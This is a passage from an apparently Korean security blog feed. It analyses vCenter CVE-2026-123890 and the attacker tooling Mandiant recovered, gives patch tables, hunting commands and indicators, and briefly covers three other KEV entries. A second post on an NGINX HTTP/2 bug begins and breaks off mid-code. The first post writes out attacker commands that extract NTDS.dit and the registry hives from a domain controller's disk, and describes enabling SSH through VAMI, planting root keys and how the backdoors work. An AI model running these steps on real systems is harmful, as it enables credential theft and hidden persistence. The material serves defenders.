결함)</td><td>VMSA-2026-0006</td></tr><tr><td>2026-09 초</td><td>ARMORY CASTLE이 vCenter 침해에 CVE-2026-123890 사용</td><td>포렌식 증거 (Mandiant)</td></tr><tr><td>2026-11-19</td><td>VMSA-2026-0009.1 공개, Mandiant 신고 크레딧</td><td>Broadcom</td></tr><tr><td>2026-11-20 17:48 UTC</td><td>KEV <code>2026.11.20</code> 발행, 4건 등재</td><td>CISA</td></tr><tr><td>2026-11-23</td><td>연방기관 시정 기한</td><td>KEV <code>dueDate</code></td></tr></tbody></table></div>\n<p>Mandiant가 확보한 바이너리의 빌드 시각은 CVE-2026-59309 공개 16일 전이다. Go 빌드 메타데이터는 컴파일 전에 조작될 수 있으니 단정은 이르지만, 공격자가 7월 중순에 이미 이 결함을 다루는 도구를 만들고 있었다는 정황은 남는다. 같은 계열의 앞선 결함(CVE-2026-59309)이 7월 29일 공개됐을 때 패치한 조직이 9월에 뚫렸다는 점도 함께 읽어야 한다. Broadcom FAQ는 CVE-2026-123890을 \"새롭고 별개의 문제\"라고 못 박았고, 앞선 패치가 이 결함을 닫지 않는다.</p>\n<p>KEV 등재는 벤더 공지보다 정보량이 적다. 어떤 취약점이 실제로 쓰였는지에 대한 판단이지, 어떻게 쓰였는지에 대한 설명이 아니다. 이번 네 건에서 그 차이가 특히 크다. vCenter는 공격자 도구와 침해 지표까지 공개됐고, SAP 건은 패치 공지와 등재 사실 외에 공개된 악용 정황이 없다.</p>\n<h2>2. SRP-6a 위에서 무너진 것: 비밀번호를 모르는 채 세션 키를 얻는 경로</h2>\n<p>vCenter SSO는 하나의 신뢰 경계로 묶여 있다. <code>vmdird</code>(VMware Directory Service)가 vSphere 로컬 도메인의 디렉터리를 들고 있고, 그 데이터는 LMDB 파일 <code>/storage/db/vmware-vmdir/data.mdb</code>에 있다. STS(Security Token Service)가 SAML 어서션에 서명하고, vSphere Client와 API는 그 토큰을 신뢰한다. 그래서 <code>administrator@vsphere.local</code> 세션 하나를 얻으면, 그 세션으로 디렉터리 데이터베이스를 통째로 가져갈 수 있다. Mandiant는 <code>vmdird</code>의 RPC 인터페이스 <code>vmdirdbcp</code>가 그 통로였다고 적는다.</p>\n<p>문제의 결함은 <code>rpc_srp_verifier</code> 서비스, TCP 2012에 열린 DCE/RPC 인터페이스에 있다. SRP-6a는 비밀번호를 네트워크로 보내지 않으면서 상호 인증을 하는 프로토콜이다. 구조를 짚어야 취약점의 무게가 보인다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-text\">사전:  N, g (그룹 파라미터),  k = H(N, g)\n등록:  x = H(s, P),  v = g^x mod N        (s = salt, P = 비밀번호)\n서버:  b ← random,  B = k·v + g^b mod N\n클라:  a ← random,  A = g^a mod N,  u = H(A, B)\n클라:  S = (B − k·g^x)^(a + u·x) mod N\n서버:  S = (A · v^u)^b mod N\n양쪽:  K = H(S)                            ← 이 세션의 대칭 키</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>이 설계의 안전성은 두 값에 걸려 있다. 서버만 아는 <code>b</code>와, 서버가 저장하는 검증자 <code>v</code>(비밀번호에서 파생)다. 공격자가 <code>P</code>를 몰라도 <code>S</code>를 계산하려면 <code>b</code>와 <code>v</code>를 동시에 알아야 하고, 그 둘 중 하나만 새도 세션 키 <code>K</code>가 열린다. SRP가 \"비밀번호를 저장하지 않는 인증\"으로 불리는 이유이자, 한 값이 새면 비밀번호 길이와 무관하게 끝나는 이유다.</p>\n<p>Mandiant가 공개한 문장은 여기까지다. CVE-2026-123890은 \"SRP 인증 인터페이스에서 <strong>예측 가능한 UUIDv1 타임스탬프 생성</strong>을 악용해 비밀번호 없이 SRP 세션 키를 노출\"하는 결함이라고 적는다. UUIDv1은 60비트 타임스탬프(1582-10-15 기준 100나노초 단위)와 clock sequence, 노드 식별자로 구성된다. 같은 시간대에 만들어진 식별자는 사실상 예측 가능하고, 생성 순서를 좁힐 수 있으면 후보 공간이 급격히 줄어든다. 예측 가능한 식별자를 인증 경계의 비밀로 쓰면 그 비밀은 비밀이 아니다.</p>\n<p>어느 값이 UUIDv1에서 파생되는지, 그 값이 <code>b</code>·<code>v</code>·<code>K</code> 중 무엇을 여는지, 패치 커밋에서 어떤 함수가 바뀌었는지는 Broadcom이 공개하지 않았다. 패치 diff도, 재현 코드도 없다(Censys는 이 CVE의 공개 PoC가 확인되지 않았다고 적는다). CWE-288(대체 경로·채널을 통한 인증 우회) 분류와 \"세션 키 노출\"이라는 표현을 겹쳐 읽으면, 인증을 통과하는 정상 경로가 아니라 같은 서비스의 다른 진입점이 키를 내주는 구조라는 뜻이 된다. 여기서부터는 추정이다. 확인된 것만 옮기면 이렇다. 네트워크에서 2012/tcp에 닿는 공격자가 자격증명 없이 <code>administrator@vsphere.local</code>로 인증된 세션을 얻고, 그 세션으로 <code>vmdirdbcp</code> RPC를 호출해 파일을 가져올 수 있었다.</p>\n<p>한 가지 더. 이 결함은 인증 우회만으로 끝나지 않는다. 우회로 얻은 세션은 정상 관리자 세션이므로, 이후의 모든 행위가 감사 로그에 \"관리자가 한 일\"로 남는다. 침해 탐지에서 이 점이 가장 불편한 부분이다.</p>\n<h2>3. BONESAW: 인증 우회가 디렉터리 전체 탈취가 되는 사슬</h2>\n<p>Mandiant가 복구한 도구 <code>BONESAW</code>(내부 이름 <code>vcenter-db-teamcheck-go</code>, 실행 경로 <code>/tmp/123</code>)는 Go로 작성됐고 윈도우 개발 환경(<code>E:/CodeFiles/VulnScan/Vcenter/go_teamcheck/</code>)의 빌드 흔적을 남겼다. 서브커맨드 <code>csa</code>가 핵심이다. SSO 관리자 계정을 최소 인자로 만든다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-text\">csa  -h  대상 vCenter 또는 vim25 SOAP 엔드포인트 (필수)\n     -u  새 SSO 관리자 계정 이름 (필수)\n     -p  그 계정의 비밀번호 (필수)\n     -lu vmdird 브리지 인증에 쓸 기존 로컬 관리자 UPN (기본 administrator@vsphere.local)\n     -d  테넌트/도메인 (기본 vsphere.local)\n     -mdb-path  기존 data.mdb 경로 (원격 다운로드 생략)\n     -check-version  실행 전 버전·연결 확인\n     -auto-d         SSO 테넌트 자동 탐색</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>실행하면 디스크에 무엇이 남는지가 곧 수사 단서다. <code>&lt;output_root&gt;/temp/extracted_tenant_signer_&lt;host&gt;/</code> 아래에 <code>anon_&lt;host&gt;_data.mdb</code>(탈취한 <code>/storage/db/vmware-vmdir/data.mdb</code> 사본), <code>*-tenantcredential-&lt;N&gt;.key.pem</code>·<code>.key.der</code>(STS 서명용 RSA 개인키), <code>.leaf.pem</code>·<code>.chain.pem</code>(서명 인증서), <code>context.json</code>(테넌트·서명자 메타데이터)이 떨어진다.</p>\n<p>이 파일들이 왜 치명적인지는 vSphere의 신뢰 구조에 있다. 디렉터리 데이터베이스에는 SSO 사용자·그룹·서비스 계정과 각 테넌트의 서명 자료가 들어 있다. 서명 개인키를 손에 넣으면 인증을 \"통과\"할 필요가 없다. 원하는 사용자의 SAML 어서션을 직접 서명해 넣으면 된다. Mandiant가 함께 관찰한 <code>SAWSNAKE</code>(<code>/tmp/sss</code>)가 그 역할이다. 공개 도구 <code>vcenter_saml_login.py</code>를 Go로 포팅한 것으로, <code>data.mdb</code>에서 IdP 서명키와 신뢰 인증서를 뽑아 관리자용 어서션을 만들어 세션 쿠키를 받아낸다. Golden SAML이다. MFA도, 비밀번호 회전도 이 경로를 막지 못한다.</p>\n<p>그 다음은 하이퍼바이저 계층이다. 행위자는 VAMI API에 <code>PUT /rest/appliance/access/ssh</code>를 보내 vCenter의 SSH를 켜고, 새 로컬 관리자 계정(<code>sps- @vsphere.local</code>)으로 접속해 vCenter 내부 마스터 대칭키와 PostgreSQL 자격증명 파일을 가져간 뒤 <strong>곧바로 SSH를 다시 껐다</strong>. 이 순서가 탐지를 어렵게 만든다. 지금 SSH가 꺼져 있다는 사실은 아무것도 증명하지 않는다. VAMI 접근 로그의 이력이 답이다.</p>\n<p>ESXi 쪽도 같은 방식으로 열린다. <code>vpxuser</code>로 ESXi Host Client에 붙고, root 계정의 <code>authorized_keys</code>에 공개키를 추가한 뒤 SSH로 들어간다. 그리고 VMFS를 직접 읽는다. Mandiant가 확보한 <code>vmfs_browser.py</code> 호출은 게스트 운영체제를 부팅하지 않고 디스크 이미지에서 파일을 꺼내는 절차다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-bash\">python vmfs_browser.py -d \"/dev/disks/vml.&lt;ID&gt;:1\" ls \"&lt;VM&gt;-flat.vmdk:part2\"\npython vmfs_browser.py -d \"/dev/disks/vml.&lt;ID&gt;:1\" extract \"&lt;VM&gt;-flat.vmdk:part4/Windows/NTDS\" ./NTDS\npython vmfs_browser.py -d \"/dev/disks/vml.&lt;ID&gt;:1\" extract \"&lt;VM&gt;-flat.vmdk:part4/Windows/System32/config/SYSTEM\" ./SYSTEM\npython vmfs_browser.py -d \"/dev/disks/vml.&lt;ID&gt;:1\" extract \"&lt;VM&gt;-flat.vmdk:part4/Windows/System32/config/SECURITY\" ./</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>도메인 컨트롤러 VM의 디스크에서 <code>NTDS.dit</code>과 레지스트리 하이브를 꺼내면, 게스트 안에 어떤 EDR이 돌고 있든 상관없이 AD 자격증명 전체가 평문 수준으로 넘어간다. 가상화 관리 평면이 왜 측면 이동의 종착점이 아니라 <strong>교두보</strong>인지 보여주는 장면이다.</p>\n<p>행위자가 함께 심은 도구도 눈여겨볼 만하다. <code>BEARBONES</code>(<code>/tmp/dbr</code>)는 오픈소스 Dropbear SSH 서버를 개조한 C 백도어로, <code>SSH_MSG_USERAUTH_REQUEST</code>의 <code>svr_auth_password</code> 핸들러를 고쳐 <code>/etc/shadow</code> 검증을 건너뛰고 클라이언트 비밀번호 앞 14바이트의 SHA-256 다이제스트가 하드코딩 값과 맞으면 통과시킨다. 입력된 평문 비밀번호는 로그로 남긴다. 배너는 <code>SSH-2.0-pulsesecure_23345</code>로 위장했고, 호스트 키를 <code>/etc/dropbear</code>가 아닌 <code>/tmp</code>에서 읽는다. <code>LAZYBONES</code>(<code>/usr/bin/vmtoolscs</code>)는 Slack 채널을 C2로 쓰는 Go 백도어다. 메시지를 AES-256-CTR로 암호화해 Base64로 올리고, 150~450초 지터로 폴링하며 <code>cmd</code>·<code>upload</code>·<code>download</code>·<code>sleep</code> 네 명령을 처리한다. systemd 유닛으로 50분마다 재시작하게 걸어 두었다. 사내 아웃바운드 정책이 <code>slack.com</code>을 허용한다면, 이 트래픽은 그 정책 안에서 정상으로 보인다.</p>\n<h2>4. 패치: 버전 매트릭스와, 패치가 끝이 아닌 이유</h2>\n<div class=\"table-wrap\"><table><thead><tr><th>제품</th><th>영향 버전</th><th>수정 버전</th></tr></thead><tbody><tr><td>VCF / vSphere Foundation vCenter</td><td>9.1.x</td><td>9.1.1.0200</td></tr><tr><td>VCF / vSphere Foundation vCenter</td><td>9.0.x</td><td>9.0.2.0200</td></tr><tr><td>vCenter Server</td><td>8.0</td><td>8.0 U3m</td></tr><tr><td>vCenter Server</td><td>7.0</td><td>수정판 없음 · 확장 지원 계약 시 Broadcom Support</td></tr><tr><td>VCF vCenter</td><td>5.x</td><td>5.2.5 (KB 88287 비동기 패치 절차)</td></tr><tr><td>Telco Cloud Platform / Infrastructure</td><td>3.0, 4.x, 5.0.x, 5.1.x, 5.2 / 3.0</td><td>8.0 U3m (KB463116)</td></tr></tbody></table></div>\n<p>패치는 누적이므로 표보다 최신 버전이면 함께 해결된다. 다만 세 가지를 미리 확인해야 한다. 첫째, Quick Patch 경로로는 적용되지 않는다. 둘째, 8.0 U3m과 9.0.2.0200의 Back-in-Time 제한 때문에 VCF 9.1.1 업그레이드가 진행 중인 환경은 순서를 조정해야 한다. 셋째, vCenter 업데이트 중에는 관리 인터페이스가 잠시 내려가지만 구동 중인 VM과 컨테이너 워크로드는 계속 돈다(Broadcom·Rapid7 정리). 서드파티 엔지니어드 시스템이나 호스팅 사업자가 운영하는 vCenter는 패치 수준을 그 사업자가 쥐고 있으니, 목록에서 빼지 말고 별도로 확인해야 한다.</p>\n<p>패치가 끝이 아닌 이유는 이미 앞에서 드러났다. 공격자는 계정을 만들고, 키를 뽑고, SSH 공개키를 심고, SSH를 다시 껐다. 패치는 코드를 고칠 뿐 만들어진 접근을 회수하지 않는다. CISA가 이번 네 건 중 세 건(vCenter·Roller·Cisco)에 BOD 26-04 포렌식 트리아지를 필수로 붙인 이유도 같다. SAP 건만 해당하지 않는다.</p>\n<p>패치 전 창구를 좁히는 조치는 네트워크 계층에서 해야 한다. VCSA에는 VAMI GUI로 관리하는 자체 방화벽이 있지만, Mandiant는 이것을 방어선으로 믿지 말라고 적는다. 포트 단위 세분화가 안 돼 백업 서버 하나에 443을 열어 주면 22와 5480까지 같이 열리고, 그 방화벽은 5480의 VAMI에서 관리되므로 VAMI를 잡은 공격자가 스스로 끌 수 있으며, 차단 시도에 대한 원격 로그를 남기지 않고, 인바운드만 다룬다(아웃바운드 C2는 그대로 나간다). Mandiant의 VCSA Hardening &amp; Logging Tool은 이 GUI를 우회해 Photon Linux 커널의 <code>iptables</code>에 기본 거부 정책과 송신 필터, 원격 syslog 브리지를 직접 건다. 이 글이 그 도구를 그대로 권하지는 않는다. 프로덕션 적용 전 테스트와 변경 관리는 필수다. 다만 \"관리 평면의 방화벽을 애플리케이션이 관리한다\"는 순환 구조는 이번 사건과 무관하게 정리해 둘 문제다.</p>\n<h2>5. 헌팅: 지금 확인할 것</h2>\n<p>9월 초 이후 vCenter가 신뢰할 수 없는 네트워크에서 닿는 위치에 있었다면, 패치 여부와 무관하게 다음을 확인한다. 순서는 \"계정 → 키 → 흔적 → 도달성\"이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-bash\"># 1) 새 SSO 관리자 계정 — UI: Administration &gt; Single Sign On &gt; Users and Groups\n#    로그에서 계정 생성 흔적을 먼저 훑는다 (침해 사례에서 발견된 이름: sps-@vsphere.local)\ngrep -iE \"add|create\" /storage/log/vmware/vmdird/vmdird-syslog.log | grep -iE \"vsphere\\.local|sps-\"\n\n# 2) VAMI를 통한 SSH 활성화 이력 — 지금 꺼져 있어도 이력은 남는다\ngrep -E \"PUT /rest/appliance/access/ssh\" /var/log/vami/access.log\n\n# 3) 디렉터리 DB와 서명 자료의 흔적\nls -la /storage/db/vmware-vmdir/data.mdb\nfind / -name \"tenantcredential-*.key.pem\" 2&gt;/dev/null\n\n# 4) ESXi root 인증키와 은닉 디렉터리 (각 호스트에서)\ncat /etc/ssh/keys-root/authorized_keys\nls -la /vmfs/volumes/*/.a 2&gt;/dev/null</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>4번은 호스트마다 돌려야 한다. 공격자가 VMFS 루트에 <code>.a</code> 같은 숨김 디렉터리를 만들어 데이터를 모은 사례가 확인됐다. <code>authorized_keys</code>에 정상 관리 절차로 넣은 키가 있다면 변경 이력과 대조해야 한다.</p>\n<p>도달성 점검은 밖에서가 아니라 안에서 한다. 관리 워크스테이션이 아닌 일반 서버망에서 아래 포트가 열려 있으면, 그 망의 아무 서버나 침해당했을 때 같은 경로가 열린다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-bash\">VC=your.vcenter.internal\nfor p in 443 2012 5480 22; do nc -vz -w3 \"$VC\" \"$p\"; done</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>Broadcom은 포트를 명시하지 않았으므로 2012만 막고 끝났다고 판단하면 안 된다. Mandiant가 관찰한 스캔은 443·2012·389·5480·9080을 함께 훑었다.</p>\n<p>네트워크 지표도 함께 본다. Mandiant는 난독화 네트워크로 의심되는 IP 11개를 공개했다. 이 중 하나라도 방화벽 로그에 있으면 그 자체로 조사 대상이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-text\">103.147.251.5    103.190.38.3     118.174.128.34   118.174.128.36\n118.174.128.38   176.9.89.66      185.71.15.109    220.121.128.41\n222.108.77.44    61.216.56.127    81.45.89.43</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>파일 지표는 <code>ActiveSer.jsp</code>(SLIMSAVAGE), <code>u.jsp</code>(CAGEMATCH), <code>/tmp/123</code>(BONESAW), <code>/tmp/sss</code>(SAWSNAKE), <code>/tmp/dbr</code>(BEARBONES), <code>/usr/bin/vmtoolscs</code>(LAZYBONES)다. 이름이 같다고 다 악성은 아니지만, vCenter나 리눅스 어플라이언스의 <code>/tmp</code>에 실행 권한이 붙은 바이너리가 있다면 먼저 해시를 뜨고 격리해야 한다. Mandiant는 BONESAW·SAWSNAKE·BEARBONES·LAZYBONES·웹셸용 YARA 규칙도 함께 공개했다. 사내 YARA 파이프라인이 있으면 그대로 넣어 돌릴 수 있다.</p>\n<h2>6. 같은 날 올라온 나머지 세 건</h2>\n<blockquote><p><strong>참고 박스 — 2026-11-20 KEV 등재 3건</strong></p>\n<p><strong>CVE-2026-129448 · Apache Roller (CVSS 9.8, CWE-502, 실제 악용 확인)</strong></p>\n<p>영향은 4.0.0~6.1.4이고 6.1.5도 취약하다. 수정은 6.1.6 이후. XML-RPC 서블릿(<code>/roller-services/xmlrpc</code>)이 <code>enabledForExtensions=true</code>로 무조건 매핑돼 있고, <code>xmlrpc-common</code> 3.1.3의 <code>SerializableParser.getResult()</code>가 요청 파싱 단계에서 <code>ObjectInputStream.readObject()</code>를 호출한다. 인증은 핸들러 조회 뒤에 일어나므로 역직렬화가 먼저다. 관리 UI에서 XML-RPC를 끄는 것으로는 막히지 않는다. <code>WEB-INF/web.xml</code>의 <code>enabledForExtensions</code>를 <code>false</code>로 바꾸거나 서블릿 매핑을 지우고 재시작해야 한다. ASF는 이 결함이 실제로 악용 중이라고 명시했다. 다만 공개된 재현 연구에 따르면 9.8은 파서 단계 점수이고, 실제 RCE는 클래스패스에 달려 있다. Roller가 번들하는 commons-collections 3.2.2의 <code>readObject()</code> 가드가 CC1~CC7을 막고, 최신 JDK의 <code>TemplatesImpl</code> 역직렬화 차단이 CommonsBeanutils1을 막는다. 공격자는 Spring 5.3.39 계열의 JNDI 체인이나 가드를 풀지 않은 구형 런타임을 노려야 한다. 결함이 없다는 뜻이 아니라, 익스플로잇 성립 조건이 환경마다 다르다는 뜻이다. 패치 전 완화는 위 두 가지 설정 변경뿐이고, 둘 다 재시작이 필요하다.</p>\n<p><strong>CVE-2025-42884 · SAP NetWeaver Enterprise Portal (CVSS 6.5, CWE-943)</strong></p>\n<p>2025년 11월 11일 SAP 패치데이에 나온 노트 3660969의 결함이 1년 뒤 KEV에 올랐다. 영향 컴포넌트는 <code>EP-PIN-APF-CAT</code>, 대상 버전은 EP-BASIS 7.50과 EP-RUNTIME 7.50이다. 인증 없이 JNDI 환경 프로퍼티나 조회용 URL을 주입해 의도하지 않은 JNDI 프로바이더에 접근할 수 있고, 그 결과 서버 정보의 노출·변조로 이어진다. 가용성 영향은 없다. 수정은 요청 파라미터 검증 강화이고, SAP은 우회책을 제공하지 않는다. 점수는 네 건 중 가장 낮지만 KEV 등재는 \"실제로 쓰였다\"는 판단이다. 공개 자료에는 악용 정황 설명이 없으므로, 우선순위는 6.5라는 숫자가 아니라 등재 사실로 정하는 편이 맞다. 패치 전 노출면은 Enterprise Portal의 외부 접점(JNDI 조회를 유발하는 진입점)을 인증 프록시 뒤로 옮기는 것이다.</p>\n<p><strong>CVE-2026-76466 · Cisco Expressway Series (CVSS 9.8, CWE-798, PoC 공개 후 실제 악용)</strong></p>\n<p>클러스터로 묶인 Expressway-C·Expressway-E만 해당한다. 단독 구성은 영향이 없다. 수정은 X15.5.20이고, X15.5.3 이하가 취약하며 X14 이하는 마이그레이션이 필요하다. 결함의 실체는 Erlang 분산 통신이다. 클러스터 데이터베이스 서비스가 4372/tcp에서 Erlang 배포 리스너를 열고, 유지보수용 신원(<code>wombat@…</code>)과 쿠키가 모든 설치본에 동일하게 하드코딩돼 있다. 클러스터용 TLS Verify Mode가 켜져 있어도 클라이언트 인증서 검증이 이뤄지지 않아, 그 포트에 닿는 공격자가 클러스터에 합류해 <code>rpc:call</code>로 root 명령을 실행한다. Cisco 권고는 10월 21일 공개됐고 악용 정황을 모른다고 적었지만, 11월 5일 공개 PoC(<code>dinosn/cve-2026-76466</code>)가 나온 뒤 러시아 기업 한 곳이 뚫렸다(F6, 11월 18일). 인터넷에 노출된 X15.5.3 두 대에서 시작해 내부망의 클러스터 노드 두 대로 옮겨 간 뒤 root를 얻고, Python 스크립트로 SMB·SQL Server·WinRM·GitLab을 훑었다. 탐지 단서는 Expressway의 <code>erlang.log</code>에 남는 <code>nodeup,'wombat@127.0.0.1'</code> 항목과 <code>/mnt/harddisk/i{0-9}{4}[a-zA-Z]?/*.py</code> 경로다. Cisco는 우회책이 없다고 하지만, F6는 즉시 패치가 어려울 때 4371~4372/tcp를 신뢰 클러스터 노드 IP로만 허용하라고 권한다. 벤더 보증 완화가 아니라는 점은 감안해야 한다.</p></blockquote>\n<h2>7. 네 건이 같은 날 올라갔다는 것</h2>\n<p>이번 네 건은 서로 다른 제품군이고 심각도도 6.5에서 9.8까지 벌어져 있다. 그런데 공통점이 하나 있다. 넷 다 <strong>인증 경계 자체가 무너지는 결함</strong>이다. vCenter는 SRP 세션 키가, Roller는 파서가 인증보다 먼저 도는 순서가, Cisco는 모든 설치본에 같은 쿠키가, SAP은 JNDI 조회 대상이 검증되지 않는 지점이 문제였다. 침해 후 행위를 보면 결과도 비슷하다. vCenter 사례에서는 서명키와 디렉터리 DB가, Roller에서는 애플리케이션 프로세스 권한이, Expressway에서는 root 셸이 목표였다.</p>\n<p>방어자에게 남는 실무적 결론은 두 가지다. 패치 기한을 벤더 공지일이 아니라 KEV 등재일 기준으로 잡는 것, 그리고 패치와 별개로 \"이미 만들어진 접근\"을 회수하는 절차를 갖는 것이다. 이번 vCenter 침해에서 공격자는 SSH를 켜고 끄고, 계정을 만들고, 인증키를 심었다. 그 흔적은 지금의 설정값이 아니라 로그와 이력에만 남는다. 헌팅에 쓰는 명령은 위에 정리했고, 다음 사이클에서 다시 쓸 수 있도록 이 순서를 그대로 남겨 둔다.</p>",
      "date_published": "2026-11-21T03:20:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "CVE-2026-123890",
        "VMware vCenter",
        "VMSA-2026-0009",
        "ARMORY CASTLE",
        "BONESAW",
        "SRP-6a",
        "CWE-288",
        "CISA KEV"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_vcenter_cve_2026_123890.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/nginx2root-cve-2026-123007/",
      "url": "https://dohyeontech.github.io/posts/nginx2root-cve-2026-123007/",
      "title": "[분석] NGINX2Root — HTTP/2 창이 2^63을 넘던 밤, 그리고 128GB",
      "summary": "11년 된 HTTP/2 흐름제어 회계 오류 하나와, 패치가 존재하지 않는 리눅스 커널 SCTP 결함. NGINX 워커 셸에서 호스트 root까지 이어지는 사슬을 코드 라인 단위로 뜯어본다.",
      "content_html": "<p>2026년 11월 18일, F5는 NGINX의 원격 코드 실행 결함 5건을 한꺼번에 공개하고 같은 날 수정판을 내놓았다. NGINX 오픈소스 1.31.9(mainline)와 1.30.7(stable), NGINX Plus 37.3.0.1과 37.0.8.1이다. 다섯 건 모두 CVSS 3.1 기준 8.1, CVSS 4.0 기준 9.2로 매겨졌다. 인증 없이, 네트워크에서, NGINX 워커 프로세스의 권한으로 명령이 실행된다. 국내에서는 한국인터넷진흥원이 11월 19일 \"NGINX 제품 보안 업데이트 권고\"를 올렸고, 배포 당일 연합뉴스가 이 소식을 전했다.</p>\n<p>이 묶음의 무게는 숫자보다 배치에 있다. W3Techs 집계로 전 세계에서 서버가 식별되는 웹사이트의 29.7%가 NGINX를 쓰고, 한국에 서버를 둔 웹사이트에서는 58.9%다(2위 아파치는 32.1%). 리버스 프록시, 로드밸런서, 쿠버네티스 인그레스, 사내 시스템 앞단까지 같은 바이너리가 서 있다. Xint가 11월 10일 Shodan에서 센 NGINX 호스트는 5,670만 대였고, 버전을 노출한 1,194만 대 가운데 98.9%가 CVE-2026-123007의 영향 범위(1.9.5~1.31.8)에 들어갔다. Censys는 11월 19일 기준 약 880만 개 NGINX 서비스가 HTTP/2 노출과 영향 버전 조건을 동시에 만족한다고 추정하면서, 그중 51만 개 이상은 이미 패치·완화됐다고 덧붙였다.</p>\n<p>버전 문자열만으로 취약을 단정할 수는 없다는 단서도 함께 읽어야 한다. 배포판이 백포트하면 <code>nginx -v</code>는 그대로인 채 패치될 수 있고, HTTP/2가 꺼져 있으면 대표 결함의 공격 경로 자체가 닫힌다. 보안 연구자 Florian Roth는 Shodan에서 수백 개의 NGINX HTTPS 엔드포인트를 표본 조사해 약 66%가 HTTP/2를 지원한다고 밝히면서, 버전 번호만으로 노출 규모를 말하는 관행을 지적했다.</p>\n<p>실제 악용은 아직 확인되지 않았다. 2026-11-20 06:19 KST에 CISA KEV 카탈로그를 다시 받아 대조한 결과 최신본은 여전히 <code>2026.11.18</code>(1,786건)이고, 11월 19~20일 등재분은 없다. NGINX2Root의 다섯 CVE는 하나도 KEV에 없다. 대신 공격 코드는 이미 공개됐다. Rapid7이 CVE-2026-123007의 PoC와 19분 분량의 기술 분석을 같은 날 올렸고, Censys는 평문 HTTP/2(h2c)로 창 산수 오류만 재현하는 소규모 PoC를 GitHub에 공개했다. 전자는 RCE까지 가지만 트래픽 요구량이 크고, 후자는 RCE는 아니지만 재현 비용이 사실상 0이다.</p>\n<p>발견 경위는 사실 관계만 짚고 넘어간다. 첫 번째 결함(CVE-2026-123007)은 티오리의 자율 분석 플랫폼 Xint를 쓰던 연구원이 ZeroDay Cloud 2026 준비 과정에서 찾았고, 며칠 뒤 완전 자동 스캔이 소스 약 5만 줄을 90분 만에 훑어 나머지 4건을 사람의 개별 지시 없이 찾아냈다. 이 CVE 하나에만 Xint, Wiz, Rapid7, Ikotas Labs, Metnir가 각자 도달했고, F5는 네 명의 독립 보고자를 크레딧했다. 같은 버그를 여러 팀이 동시에 찾았다는 사실은 공격자도 같은 자리에 서 있을 수 있다는 뜻이다.</p>\n<h2>1. 흐름제어의 장부: 큐에 걸린 바이트는 어디로 갔나</h2>\n<p>HTTP/2의 흐름제어는 송신자가 수신자의 준비 상태를 앞지르지 못하게 막는 장부다. 연결 단위 창 하나와 스트림 단위 창 하나가 있고, 서버는 두 창이 모두 허용할 때만 DATA를 보낸다. 상한은 <code>2^31-1</code>(0x7FFFFFFF)이다. RFC 9113 §6.9가 정한 값이고, 초과하면 연결을 <code>FLOW_CONTROL_ERROR</code>로 끝내야 한다.</p>\n<p>NGINX의 구현은 <code>src/http/v2/ngx_http_v2.h</code>에 있다. 두 카운터의 <strong>부호 있는/없는 타입이 다르다</strong>는 점을 먼저 봐야 한다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-c\">#define NGX_HTTP_V2_MAX_WINDOW      ((1U &lt;&lt; 31) - 1)\n#define NGX_HTTP_V2_DEFAULT_WINDOW  65535\n\nstruct ngx_http_v2_connection_s {\n    size_t  send_window;   /* 연결 창: unsigned 64-bit */\n    ...\n};\nstruct ngx_http_v2_stream_s {\n    ssize_t send_window;   /* 스트림 창: signed 64-bit  */\n    ...\n};</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>스트림 창이 부호 있는 이유는 정당하다. <code>SETTINGS_INITIAL_WINDOW_SIZE</code>를 낮추면 이미 열린 스트림의 잔여 credit이 일시적으로 음수가 될 수 있고, RFC도 그 상태를 허용한다. 반면 연결 창은 줄어들 일이 없으니 <code>size_t</code>로 선언됐다. 문제는 이 타입 선택이 <strong>프로토콜 상한을 스스로 강제해야 하는 값</strong>에 붙었다는 것이다. <code>size_t</code>는 0에서 2^64-1까지 담는다. 상한 2^31-1은 타입이 아니라 코드가 지켜야 하는 약속이 된다.</p>\n<p>장부 갱신은 세 함수에 흩어져 있다. 첫째, DATA를 큐에 넣는 순간 credit을 미리 차감한다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-c\">/* ngx_http_v2_filter_module.c :: ngx_http_v2_send_chain() */\nngx_http_v2_queue_frame(h2c, frame);\nh2c-&gt;send_window -= frame_size;\nstream-&gt;send_window -= frame_size;\nstream-&gt;queued++;</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>둘째, 클라이언트가 <code>WINDOW_UPDATE</code>를 보내면 증가분을 검사한 뒤 더한다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-c\">/* ngx_http_v2.c :: ngx_http_v2_state_window_update() */\nif (window &gt; NGX_HTTP_V2_MAX_WINDOW - h2c-&gt;send_window) {\n    return ngx_http_v2_connection_error(h2c, NGX_HTTP_V2_FLOW_CTRL_ERROR);\n}\nh2c-&gt;send_window += window;</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>셋째, 큐에 남은 채로 스트림이 종료되면 <code>ngx_http_v2_filter_cleanup()</code>이 미전송 DATA를 걷어내고 그 길이를 연결 창에 <strong>되돌려준다</strong>.</p>\n<div class=\"codeblock\"><pre><code class=\"language-c\">/* ngx_http_v2_filter_module.c :: ngx_http_v2_filter_cleanup() */\nfor ( ;; ) {\n    frame = *fn;\n    if (frame == NULL) { break; }\n    if (frame-&gt;stream == stream &amp;&amp; !frame-&gt;blocked) {\n        *fn = frame-&gt;next;\n        window += frame-&gt;length;      /* 환급액 누적 */\n        if 